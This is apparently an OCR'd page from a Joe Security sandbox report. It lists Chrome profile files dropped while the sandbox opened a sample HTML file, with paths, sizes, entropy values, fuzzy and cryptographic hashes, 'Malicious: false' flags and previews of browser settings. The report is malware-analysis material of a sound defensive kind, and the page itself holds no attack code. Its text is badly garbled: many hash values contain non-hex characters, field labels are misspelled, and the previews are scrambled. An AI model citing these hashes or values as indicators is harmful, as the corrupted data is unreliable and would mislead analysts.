NIFEST-000001.2022/06/15-09:12:24.947 157¢ Recovering log #3.2022/06/15-09:12:24.947 157¢ Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit):  5.288532687953195

Encrypted: false

SSDEEP: 6:n0pQ+q2Pwkn23iKKdK25+Xgx8chl+IFUtqVM1JgZmwYVM1JQVkwOwkn23iKKdK2L:0pQ+vYf5KKTXfchI3FUthg/ TQV5Jf5KN

MD5: 7CDC2C73E482CCCBED1692E84F3B6B55

SHAL: 6A1FEE17675A5B83DCC02D436DFBCEA225BA994F

SHA-256: D613B3662CE126C798AB56079956F4D515COCE94F60E1B32C6CAC202183B2F0C

SHA-512: 188C5037E5780007A84E1A8D346787FD1CFB64BE28FA36B8D66D930F734E09D7C520F90193F99FE01584B36363E0A0D6BAB46C66A19AA4280A390723CADS7AF:
Malicious: false

Preview: 2022/06/15-09:12:24.939 157c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA

NIFEST-000001.2022/06/15-09:12:24.947 157c Recovering log #3.2022/06/15-09:12:24.947 157c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Copyright Joe Security LLC 2022 Page 20 of 52



Category: dropped
Size (bytes): 529

Entropy (8bit):  5.14126658508113

Encrypted: false

SSDEEP: 12:iC3GQTUIRPQAMCgFJIkz6RP1P500JCC9Y949I1Bk778B/xgskI31IBf1mOHIkWV:i0zZSRPVMCeDV5049Y9wTY78BJgsk51Jb

MD5: 888F8E20E2B5B9A3603890990D9E0447

SHAL: 34FF63D2B1942743EEODDFCE6139B4CE1FB76B1C

SHA-256: 8F246C3D8F3B6AJI0CB262EF72AFAEC7D380C6AF27F01C08467BCDCIBB397FB7C

SHA-512: 4068784164DA09E648BF58B821CF30A807B5C1780B83FDACB819E4611676960FFA7F2E3DDB845BA5B80E9985497337C51499D04473B28144423F464E7FBAGD54

Malicious: false

Preview: ... "4....c..desktop..file..html..user..nfOtrs9uza..users*P......c......desktop......file......html......user......nfOtrs9uza......users..2......... O [ RPN Qs [N d........ [T
e h. [ Joowoeens Koo | IS m......n.. OueePrris | PP ST L ORI Ui Z A BV..R..... .. * file://IC

*

:/Users/user/Desktop/nFOtrs9UzA.html2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1518

Entropy (8bit):  4.80967466503735

Encrypted: false

SSDEEP: 24:Y26aL.3M33ayFGRaxXa63aDaaragavatZa+Rdsd2dR/RdsdE+dMHWEMQYhbG7n/iy:Y2nzM3qyvK6qDHGXCtwWs2RLSSUMH5Ym

MD5: 43018E6331AF16E61E6A2B542C5324A5

SHA1L: 08661E587A5C16415350F0E8BI63EFFCES5D9210E

SHA-256: 6474167C9B5E16D581BF6FA80D434C79D5EBBGFFAS8ACEC3652D1840239E8F60

SHA-512: F1EDCC533FFE244A46FBBFFDIF19AB2553603BCIFC935789EC01FB75579A122AD6787E9B6AB63FF61591D20C4014FE8F8ASDBAFCF56D7FA7EGE49C6DE714CL
4F

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true} {"isolation":[],"server":"https://dns.google","suppor

ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true} {"isolation™[],"server":"https://clients2.googleusercontent.com","supports_spd

y":true},{"isolation"[],"server":"https://redirector.gvtl.com”,"supports_spdy":true} {"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],

"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com”,"supports_spdy":true},{"isolation":[],"server":"https://apis.go

,"supports_sp

ogle.com”,"supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true} {"isolation"[],"server":"https://ssl.gstatic.com

dy":true},{"isolation™[],"server":"https://www.gstatic.com”,"supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expi

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 4927

Entropy (8bit):  4.943314894792236

Encrypted: false

SSDEEP: 48:YcudkKSChkSiOombhgAUigTIY GIQKHo TwO/HMrf4AMgM8C 1Nfct/9BhUJo3KhmeSnv:nyLNhP1pIKIRHc5k0JCKL8YEbOTIVUHN

MD5: BODEC8FEED2D109021958C14B384CFE7

SHA1L: 3A909BEEDC7DB7D0OCOCD2B39E0362FACF3E5S5607

SHA-256: C9C9ECF7CF760F5D4ACDFC9A135881013CD833E852FBI5E39F687BD7841E0A28

SHA-512: 164FA32855D780C95EFB96C43D3F1391C04651FA59492FFF5CB5CAD1AGA3BC007D980629033A80D4082752587AF049E58199F2446B8262FA17BEDFAD883CF6AE
Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser

vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group"

rk_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reductio!
"o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

daily_original_length":[*0","0","0","0"
o","0","0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 19796

Entropy (8bit): 5.565046152308507
Encrypted: false
SSDEEP: 384:d+ntdLIORXS1kXqKf/pUZNCgVLH2HfDurusHGCoOI0s4d5:iLIPS1kXqKf/pUZNCgVLH2HfSrUgG4HL
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

B93220B2CA5301EADE8B4F43159AA0EB
419221B2C51525A896BA79A7649BCBESE3961E7C
A1BF2F9DCC7AF0A766972AA6E998349713D18AEOCF1BCO0C52ADDAGF2E37CC84

EA0397D968FE26B93DFA3AD4COFB81EE16D4E7A00150137563D3B0D6561466DB0141C3C3879ED8FDA48498ADDFAS59F9CFD5B68CF24FBDBE96FA415C5A0D0
2E

false

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xIs:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xlIsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™{"active_permissions":{"api":['management","system.display"," " "webstorePrivate"," " " "system.network

\"system.storage”, ,"system.cpu","system.memory",
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings"

"incognito_preferences":{},"install_time":"13299750737524348","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","i
{"128":"webstore_i

,icons™:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

270336

0.0012471779557650352

false

3:MsEIlIKEthXIIkI2zE:/M/xT02z

F50F89A0A91564D0B8A211F8921AA7DE
112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
B1E963D702392FB7224786E7D56D43973E9BIEFD1B89C17814D7C558FFCOCDEC

BF8CDA48CF1ECA4E73FODD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3FAED2AFB375257CAEED4ABE958265237D6EOAACF35A9EDE7A2E8898
D58

false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

325

4.971623449303805

false
6:YHpoNXR8+eq7JdV5p7DHIShsDHF4R8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdHfHYhsBdLJIlyH7E4f3K33y
8CA9278965B437DFC789E755E4C61B82

5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6
A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51
3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3ESC2A58081D369E2968F
false

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"4G","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\df59e7ad-420c-4c98-9895-

3c2b731cad00.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHIShsDHF4R8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdHfHYhsBdLJIlyH7E4f3K33y
MD5: 8CA9278965B437DFC789E755E4C61B82

SHAL: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE5S58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51
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SHA-512:
Malicious:

Preview:

3065FE0743AD8BE02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9CI6D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F
false

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"AG","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\852c6bac-e52c-4c65-bdcf-

2d6bef49cb3b.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit):  4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHFAR8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdHirhsBdLJIlyH7E4f3K33y

MD5: B0429187E1BE99DE4AD548DC5B2EDEAOA

SHAL: B3EO7BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFEDO3

SHA-512: 233F7BDAAB48A295E9F58CA52761829FE1044DA1DELIFBCACA407FADC8C7ABALEAFFD7CA7A4FBEG4A9ES3FD1815DC2E3619ACB2A22CESB2C7241E474CDBYAF2
F7ED

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol

ation™:[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"AG","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

270336

0.0012471779557650352

false

3:MsEllIKEthXIIKI2zE:/M/xT02z

F50F89A0A91564D0B8A211F8921AA7DE
112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
B1E963D702392FB7224786E7D56D43973E9BI9EFD1B89C17814D7C558FFCOCDEC

BF8CDA48CF1ECAE73FODD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3FAED2AFB375257CAEED4ABE958265237D6EOAACF35A9EDE7A2E8898
D58

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

325

4.9616384877719995

false
6:YHpoNXR8+eq7JdV5pirhsDHFAR8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y
B0429187E1BE99DE4D548DC5B2EDEAOA

B3EO7BEE5D753BF1B613BD2DE665C7C21E8184F6
D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFEDO3

233F7BDAA8B48A295E9F58CA52761829FE1044DA1DELIFBCAC407FADC8C7ABALEAFFD7CA7A4FBEG49E83FD1815DC2E3619ACB2A22CESB2C7241E474CDBIAF2
F7ED

false

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"4G","CAESABIAgICA+P////8B":"4G"}}}
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit):  3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1gIFJ

MDS5: 6752A1D65B201C13B62EA44016EB221F

SHAL: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576BODEOAABDYA6020840D4C9125EB679ED384170DBCAAC2FA30DC7FAIEESB77D6DF7C344A0AA030E0
89

Malicious: false

Preview: MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit):  3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//IRv:1glF

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1L: 58ECF154D01A62233ED7FB494ACE3C3D4FFCEO8B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576BODEOAABDI9AG020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EESB77D6DF7C344A0AA030E0
89

Malicious: false

Preview: MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit):  3.138546519832722

Encrypted: false

SSDEEP: 3:tblolIrd51dQxI7aXVdJiG6RORIAL:tbdIrnQxZaHIGiOR6|

MD5: DE9EFOC5BCC012A3A1131988DEE272D8

SHA1L: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BEG5E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3DICDF1A827AB6FF5605DA3691
724

Malicious: false

Preview: C..\.P.r.o.gram. .Files\G.o.0.gle\Chromel\Ap.p.licationlchrom.e..ex.e.

C:\Users\user\AppData\Local\Google\Chrome\User Data\lLast Version

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919EDOB70E5C3289

SHAL: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EEO0CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
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SHA-512:
Malicious:

Preview:

86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC4
false

85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

205404

6.045086396902554

false

6144:ghrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:ghhcj9+YbBgQoc
482823825853D10ED87AF2D809DE13D5
EFD4E199F52AEF92A28A00379A1E17CD21B06CB3
7AF77F9B28CE99B7EG8EC7258E50B52C7DAB1432520425FB2898AF3C31244385
8F33E0EB6AEB9023F9D903C44C81D855F9724DF773DA00BFI41EAB1821D9D8611A5D78444FE12372C7D99D6DADF2A9942FF6COFFFB1C6E1A8337238A270764E
false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIWIOHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT4i8ZMIULZXXE60EUPP|
1YBIjSIOILGeiMKIilFIZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKkmabufgFUSmOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY Xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iNGDFgqRIhWgsbh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

101472

3.7502199969174876

false

384:+f+Vh/Y2shDsZYN5rSv9/K3mpDCHTaGKdros9Cc5uxI7pLPzOrMhm8o6Y XppBWO6:i2ct2ws+keGKtsrAfTCnKBXdFv
7DD8FEOE7FEOF083B25F261023E4D9FD

54BCBF6B6376906CO5CDA49BBAA835F9B74C83CC
F6CA0265EFCE25D3557CE2B0B2AFD68E1729CDEF0210C4B0CE7F50748B59CD28

F3EE3043A9145617AD6D9955D190E47FAE3C7C31354C71A08E9E79DFDEB92CACB7CAE394026490324CF8E47D8D6D00E635273E804058C6F3F9DC41D3D37289!
8

false

N *..C..\P.R.0.G.RA~1\M.IC.R.O.S.~1\.0.fficel6\GCRO.0O.VEEX.DLL.PL.]..%.programfiles%\m.icros.oft officeloffic.e
.1.6.\....gro.0.v.eex.dll..Micros.oft Office .2.0.1.6..*.Micros.oft .OneDrive. for B.usiness. Extens.io.ns...16..0..4711.10
.0.0....*..C..\P.R.0O.G.RA~1\MI.CR.O.S.~1\0fficel6\GRO.OV.EEX.D.LL..Micros.oft .Co.rp.oration.'8D..C:\Pro.gram. Files\C.o
.m.m.o.n. .F.iles\M.icros.oft Shared\OFFICE.1l6\msoshext.dl.@...U..%.comm.o.np.ro.gramfiles%\m.icros.oft shared\o.f
ficel6\...msoshext.dll..Microso.ft Offic.e).Micros.o.ft .Office. .Shell Extens.io.n. Handlers.....16..0.426.6..10.0.1..D..C
2\P.rogram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\27\scoped_dir6008_1601155901\Ruleset Data

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

150056

4.8588214550289095

false

3072:P8C4uHgjBz+BZKEZZ3F0SI03PzpDL7UI09QEwWNYyfe:P8C5gol1U6lYeH
C56FF16BF9B9FC0002C0128DD0OBD763D
5048CFDBAC5D7AAAD345BAEOSE66ESCAE803CA02
404AA48D274C3A8BFEC3145858E00279D01E0C37A5304218E191C0156E4DEOOFF

D993A324F5D9A1FCAFB3131252F48679750081D996295C994E2DCA4E84F2DECF7E90AF6766EFEDC2CEFC6B66194FFF38181C9E9CE45346BEEBSB3A09CEGGBE
73

false
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d.0.. X T..P.L. H...@.<.. . &..
.ennab.. . (......geips....... P..((......rekoj... e X( . .
..... Yo XopYLTY 8Y LY LY LY LY LYY XYY LY LY LY L XYY X pY XL h Y LXK T Y LAY L AXLTYLPY LY L HY..DY..@Y...X..8Y..W..0Y.. W..(Y..W.. Y..Y...Y..
Yol Y Y LY LY LY XX X X PWLAWL XL X XK X WX X X XLV X VL VX XXXV X XK X X XX X X X XAV XL p XX LXKV UL XX
ULPXLLXLULDX.@X..<X..8X. XU \U..@U..(X..$X.. X.. X X X U X X X X T T T T W WL WL WL WL WL WL WL WL T WL WL WL WL T W,

Preview:

C:\Users\user\AppData\Local\Google\Chrome\User Data\aZzb07ece-72ed-4226-b9db-b7e40541a735.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 205133

Entropy (8bit):  6.044500577512631

Encrypted: false

SSDEEP: 6144:hhrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:hhhcj9+YbBgQoc

MDS5: D7B65CBD9022619860793E4C1E9AB30F

SHAL: 731F6893CE1CCABIF0A4584AAEB509B686990927

SHA-256: 31496B624C16262FDEOEBIDA14C30FDA7C364871DEA43D29E5ACO4EABSE4A3CT

SHA-512: 91349AA51733D591BFE2AD8545B540D06B08E7C01BAA39D12679E882EBICI37EA3FECEB947E15F6D8FE9C7DAD2021443E0393E6AB1B0665053DE4BE36D05F8
05

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":

{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIWIOHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT4Ai8ZMIU1LZXXE60EUPP|
1YBIjSIOILGeiMKIilFIZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmabufgFUSmOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY Xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iINGDFgqRIhWgsbh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\a8477509-16fb-48fd-bd89-28066b09638f.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 205318

Entropy (8bit):  6.0449492573969605

Encrypted: false

SSDEEP: 6144:Ghrlcj9+hP1pWIVB6FykagfllUOoSiuRr:Ghhcj9+YbBgQoc

MD5: A4270A2DFOFC7B6F2CE81C2AA3C3FAB2

SHA1L: 80B5DD88C57584A4C403C162EA15AAC15854BEGS

SHA-256: 3A171695679D2608518387E608D38210ED11820733A98416A9EB8F36010DBD81

SHA-512: 163974B77CA2F0BBB5118461FF2ED7FCEC0801AD33AEEB8D4302E43C6AADES14DC47BF8C51B03388C5A92ABD0948F11F32AD6438A060E6FD46334386050AE6
4

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version:"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":

{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwWB8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOTA8ZmIULZXX60EUPPq
1YBIjSIOiLGeiMKIilFIZDroAAAAAAGAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmabufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWtYXjf7/AqYrFrO0JZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iNGDFgqRIhWgsh/6w0gJzQxAfLErdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\aa4f47d3-fcfb-462a-9698-e760ac2763b5.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 93504

Entropy (8bit):  3.7501408848935305

Encrypted: false

SSDEEP: 384:/f+Vh/Y2rDsZYN5rSv9H3mpDCHTaGKdro7RJIx2LPzOrMhma8fY XppBWONfpNs1RoW:S2Bt2PW+ke3hsrIfTCnKBXdFf

MD5: 7214F489EB81DD93CB316A25505781A7

SHAL: B9A9B530353B2E8B031CDA4007A39332195D3676

SHA-256: ACA3BB0A619444996B4E3A631CD3121475B744C04F7C6F4B36FEBD027AFB160F

SHA-512: DFD92E9FC36413D62EC914850F953103022F1AA22C952DBAF1B87BBFA9478C3B96964D50A000B6D028F5AEB423A948ABE45B188E7D7E6AASCID27C61BDC1F7
58

Malicious: false
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Preview: <m.... ..*..C.\P.R.O.G.RA~1\M.I.C.R.O.S.~.1\0Offic.el6\GRO.O.VEEX.D.LL.PL...%.pro.gram.files.%.\m.icro.s.o.ft .officeloffic.e
ro.ov.eex.dll..Micros.oft .Office..2.0.1.6..*. Micro.s.o.ft .O.neD.riv.e. for Bus.ines.s. .Extens.ions...16..0.47.11..1.0
.0.0....*...C.\.P.R.O.G.RA~1\MIC.R.O.S.~1\0ffic.el6)\GRO.O.V.EEX..D.LL...Micros.o.ft .Co.rp.oratio.n.._8D..C.:\P.ro.gram. .F.iles\C.o
.m.m.o.n. .F.ile.s\M..cr.o.s.oft .S.hared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.np.ro.g.ramfiles.%.\m.ic.ro.s.o.ft .share.d\o.f
